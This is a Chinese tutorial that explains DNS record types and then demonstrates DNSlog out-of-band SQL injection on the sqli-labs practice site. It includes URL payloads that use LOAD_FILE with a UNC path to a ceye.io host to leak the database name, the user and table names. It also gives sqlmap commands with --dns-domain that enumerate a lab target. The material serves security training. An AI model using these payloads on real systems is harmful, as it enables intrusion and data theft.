目录
进入我们设置的域名,右键,新建主机(A记录),这里的ip地址为kali的ip
DNS
Domain Name System 域名管理系统 域名是由圆点分开一串单词或缩写组成的,每一个域名都对应一个惟一的IP地址,这一命名的方法或这样管理域名的系统叫做域名管理系统。 DNS:Domain Name Server 域名服务器 域名虽然便于人们记忆,但网络中的计算机之间只能互相认识IP地址,它们之间的转换工作称为域名解析,域名解析需要由专门的域名解析服务器来完成,DNS 就是进行域名解析的服务器。 查看DNS更详细的解释
A记录
A(Address)记录是用来指定主机名(或域名)对应的IP地址记录。用户可以将该域名下的网站服务器指向到自己的web server上。同时也可以设置域名的子域名。通俗来说A记录就是服务器的IP,域名绑定A记录就是告诉DNS,当你输入域名的时候给你引导向设置在DNS的A记录所对应的服务器。 简单的说,A记录是指定域名对应的IP地址。
NS记录
NS(Name Server)记录是域名服务器记录,用来指定该域名由哪个DNS服务器来进行解析。 您注册域名时,总有默认的DNS服务器,每个注册的域名都是由一个DNS域名服务器来进行解析的,DNS服务器NS记录地址一般以以下的形式出现: ns1.domain.com、ns2.domain.com等。 简单的说,NS记录是指定由哪个DNS服务器解析你的域名。
MX记录
MX(Mail Exchanger)记录是邮件交换记录,它指向一个邮件服务器,用于电子邮件系统发邮件时根据收信人的地址后缀来定位邮件服务器。例如,当Internet上的某用户要发一封信给 user@mydomain.com 时,该用户的邮件系统通过DNS查找mydomain.com这个域名的MX记录,如果MX记录存在, 用户计算机就将邮件发送到MX记录所指定的邮件服务器上。
CNAME记录
CNAME(Canonical Name )别名记录,允许您将多个名字映射到同一台计算机。通常用于同时提供WWW和MAIL服务的计算机。例如,有一台计算机名为 “host.mydomain.com”(A记录),它同时提供WWW和MAIL服务,为了便于用户访问服务。可以为该计算机设置两个别名(CNAME):WWW和MAIL, 这两个别名的全称就“www.mydomain.com”和“mail.mydomain.com”,实际上他们都指向 “host.mydomain.com”。
TXT记录
TXT记录,一般指某个主机名或域名的说明,如:admin IN TXT "管理员, 电话:XXXXXXXXXXX",mail IN TXT "邮件主机,存放在xxx , 管理人:AAA",Jim IN TXT "contact: abc@mailserver.com",也就是您可以设置 TXT 内容以便使别人联系到您。 TXT的应用之一,SPF(Sender Policy Framework)反垃圾邮件。SPF是跟DNS相关的一项技术,它的内容写在DNS的TXT类型的记录里面。MX记录的作用是给寄信者指明某个域名的邮件服务器有哪些。SPF的作用跟MX相反,它向收信者表明,哪些邮件服务器是经过某个域名认可会发送邮件的。SPF的作用主要是反垃圾邮件,主要针对那些发信人伪造域名的垃圾邮件。例如:当邮件服务器收到自称发件人是spam@gmail.com的邮件,那么到底它是不是真的gmail.com的邮件服务器发过来的呢,我们可以查询gmail.com的SPF记录,以此防止别人伪造你来发邮件。
泛域名与泛解析
泛域名是指在一个域名根下,以 .Domain.com的形式表示这个域名根所有未建立的子域名。 泛解析是把.Domain.com的A记录解析到某个IP 地址上,通过访问任意的前缀.domain.com都能访问到你解析的站点上。
域名绑定
域名绑定是指将域名指向服务器IP的操作。
域名转向
域名转向又称为域名指向或域名转发,当用户地址栏中输入您的域名时,将会自动跳转到您所指定的另一个域名。一般是使用短的好记的域名转向复杂难记的域名
DNSlog快速注入
首先说明,dns带外查询属于MySQL注入,在MySQL中有个系统属性
secure_file_priv特性,有三种状态
secure_file_priv为null 表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制
show variables like ‘%secure%’;查看load_file()可以读取的磁盘
有路径或为null 的 则不可以进行 DNSlog 外带
在 my.ini 可以设置
注入工具:
演示:
127.0.0.1/sqllab/Less-9/?id=-1%27%20union%20select%201,LOAD_FILE(CONCAT(%27\\\\%27,(select%20database()),%27.mysql.ip.b182oj.ceye.io\\abc%27)),3--+
红色字体部分为下图红框部分:(注册进去每个人的都是自动生成的)
发现上图,已经出现数据库的名字
注意:如果需要找user(),需要使用16进制,因为其中有个在url中不合规的符号‘@’
举例:
127.0.0.1/sqllab/Less-9/?id=-1%27%20union%20select%201,LOAD_FILE(CONCAT(%27\\\\%27,hex(user()),%27.mysql.ip.b182oj.ceye.io\\abc%27)),3--+
127.0.0.1/sqllab/Less-9/?id=-1' union SELECT LOAD_FILE(CONCAT('\\\\',hex(user())'.mysql.ip.port.b182oj.ceye.io\\abc')),3--+
127.0.0.1/sqllab/Less-9/?id=-1' union SELECT 1,LOAD_FILE(CONCAT('\\\\',hex((SELECT concat(table_name)from information_schema.tables where table_schema="security" limit 0,1))'.mysql.ip.port.b182oj.ceye.io\\abc')),3--+
DNS外带数据结合sqlmap
1.kali(使用sqlmap)ip 192.168.3.220
2.windows10(靶机)有注入点 ip 192.168.3.4
3.win2012r2 (dns服务器)ip 192.168.3.100
安装dns服务器:
连续下一步,安装完成之后在开始管理工具中选择dns管理器,右键,属性
在监视中对测试类型打钩
在正常查找区域中右键选择新建区域
继续默认下一步
进入我们设置的域名,右键,新建主机(A记录),这里的ip地址为kali的ip
*(泛解析)
因为这里是本地模拟,所以需要修改靶机的dns服务器为我们设置的dns服务器
tcpdump -n port 53
测试:
在kali看到了数据包证明成功
添加转发(关键)
DNS域的域名可以随便写,但是就不要写和刚刚那个相同的就行。ip是kali 的ip,之后点击确定
然后在win10上ping刚刚设置的转发IP就可以了,在kali中观察是否收到了日志
sqlmap -u "http://192.168.3.4/sqllab/less-8/index.php?id=1" --technique=T --dns-domain "fftel.top" --dbs
上面的“fftel.top”可以改为你自己在上面条件转发器添加的域
查询数据库:
已经查询到数据库
如果出现your sqlmap version is outdated
用sqlmap -update更新
sqlmap -update
查询表:
sqlmap -u "http://192.168.3.4/sqllab/less-8/index.php?id=1" --technique=T --dns-domain "fftel.top" --database security --tables
sqlmap -u "http://192.168.3.4/sqllab/less-8/index.php?id=1" --technique=T --dns-domain "fftel.top" --database security --tables
查询表和列:
sqlmap -u "http://192.168.3.4/sqllab/less-8/index.php?id=1" --technique=T --dns-domain "fftel.top" --database "security" --tables --columns
sqlmap -u "http://192.168.3.4/sqllab/less-8/index.php?id=1" --technique=T --dns-domain "fftel.top" --database "security" --tables --columns
起飞!!!